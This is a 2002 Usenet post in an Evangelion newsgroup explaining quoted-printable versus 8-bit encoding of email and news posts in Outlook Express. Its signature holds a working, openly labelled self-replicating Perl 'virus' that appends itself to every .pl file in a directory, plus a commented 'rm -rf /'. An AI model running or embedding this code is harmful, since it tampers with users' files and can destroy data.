Path: ccsf.homeunix.org!ccsf.homeunix.org!news1.wakwak.com!nf1.xephion.ne.jp!onion.ish.org!onodera-news!newsfeed.media.kyoto-u.ac.jp!newsfeed.gamma.ru!Gamma.RU!newsfeed00.sul.t-online.de!newsmm00.sul.t-online.com!t-online.de!news.t-online.com!not-for-mail From: Rudolf Polzer Newsgroups: japan.anime.evangelion Subject: Re: [OT] To Disaster and the other OE (l)users Date: Fri, 28 Jun 2002 18:36:08 +0200 Organization: T-Online Lines: 40 Message-ID: References: Reply-To: ATField@durchnull.de Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Trace: news.t-online.com 1025282403 02 703 HA0UbWvSWA4Zj 020628 16:40:03 X-Complaints-To: abuse@t-online.com X-Sender: 520017359542-0001@t-dialin.net X-DAUs: lesen Headers, ohne zu wissen, was das ist X-Homepage: http://www.durchnull.de User-Agent: slrn/0.9.7.4 (Linux) Xref: ccsf.homeunix.org japan.anime.evangelion:468 Scripsit illa aut ille Disaster : > > > > I see the ">" is Disaster's messages all the time. > > > > > > > > For the record, I'm also using OE. > > > > > > The only time that I ever miss the ">" in my replies is when I reply to > > > html documents. > > > > Simple: HTML documents are *also* encoded using quoted-printable. Just > > look at the source, if you see things like "=3D", it's quoted-printable. > > It is also possible (even encouraged by the RFCs) to encode plaintext > > documents using quoted-printable if they contain 8bit characters. > > So what that tells me is that you are supporting a movement to make > plaintext as evil as HTML? No. HTML is not evil because of quoted printable. The problem is: RFCs recommend to always encode 8bit characters in some way since not every server can transport them. Possible encodings are quoted-printable and base64. The latter is not good because it is not human-readable, so if the character set is an overset of us-ascii, quoted-printable is the best. So it's - according to many documents - better to post in quoted-printable than in 8bit. But as long as there are no characters that need the encoding, 7bit is the best choice - currently my header states 8bit, but the 8th bit is not used (which is normal in English). BTW: I do not know why OE sends HTML messages in quoted printable. There is no reason to do this - HTML itself contains an encoding for 8bit characters, so where's the point to encode HTML with quoted-printable? Just because '=3D' has two characters more than '='? -- #!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf / eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################